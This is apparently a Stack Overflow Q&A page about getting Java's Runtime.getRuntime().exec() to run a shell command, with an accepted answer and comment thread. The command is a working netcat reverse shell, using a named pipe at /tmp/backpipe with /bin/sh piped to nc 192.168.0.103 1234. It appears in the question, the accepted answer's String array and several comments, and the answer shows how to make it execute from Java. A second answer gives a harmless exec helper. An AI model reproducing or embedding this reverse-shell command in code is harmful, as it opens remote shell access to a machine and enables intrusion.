java Runtime.getRuntime().exec() unable to run commands

Question

I need to run the following command from inside the Runtime.getRuntime().exec():

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

In what format should I pass it to my running java program that has the line :

Process localProcess = Runtime.getRuntime().exec(myStr);

where myStr is the entire command above that I want to execute ?

Things I have already tried :

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"

gives me the error :

Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory

If I simply run the command from my terminal as :

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

It runs like a charm, but not through the runtime.exec().

score 6 · Accepted Answer · 2016-08-26 19:30:11Z

6

Try to use ProcessBuilder instead of Runtime.

Try this one:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();

cmd is the variable which holds your shell command.

Update:

String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);

edited Aug 26, 2016 at 19:30

answered Aug 26, 2016 at 18:48

user6528991

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6 Comments

qre0ct Over a year ago

Is there a way to do it without using ProcessBuilder and using Runtime itself as asked above ?

user6528991 Over a year ago

@geek_ji use Process p = Runtime.getRuntime().exec("bash -c " + cmd); I think it should work. I didn't check as I don't have my pc right now.

user6528991 Over a year ago

@geek_ji did you use "bash -c" or "bash -c "? Without space it won't work.

qre0ct Over a year ago

i used "bash -c rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"

qre0ct Over a year ago

So this is how I am doing it now : String str4 = "\"\\bin\\bash -c \" + \"rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\""; Process localProcess = Runtime.getRuntime().exec(str4); And I still get the same error :

|

pdp · Accepted Answer · 2019-02-01 18:53:26Z

Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:

import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;

class Test {
    public static void dump(InputStream is) {
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;

        try {
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            System.out.println("read line threw exception");
        }
    }
    public static void run(String cmd) {
        try {
                Process p = Runtime.getRuntime().exec(cmd);
                p.waitFor();
                int status = p.exitValue();
                System.out.println("Program terminated with exit status " + status);

                if (status != 0) {
                    dump(p.getErrorStream());
                }
                else {
                    dump(p.getInputStream());
                }
            } catch (Exception e) {
                System.out.println("Caught exception");
        }
    }
};

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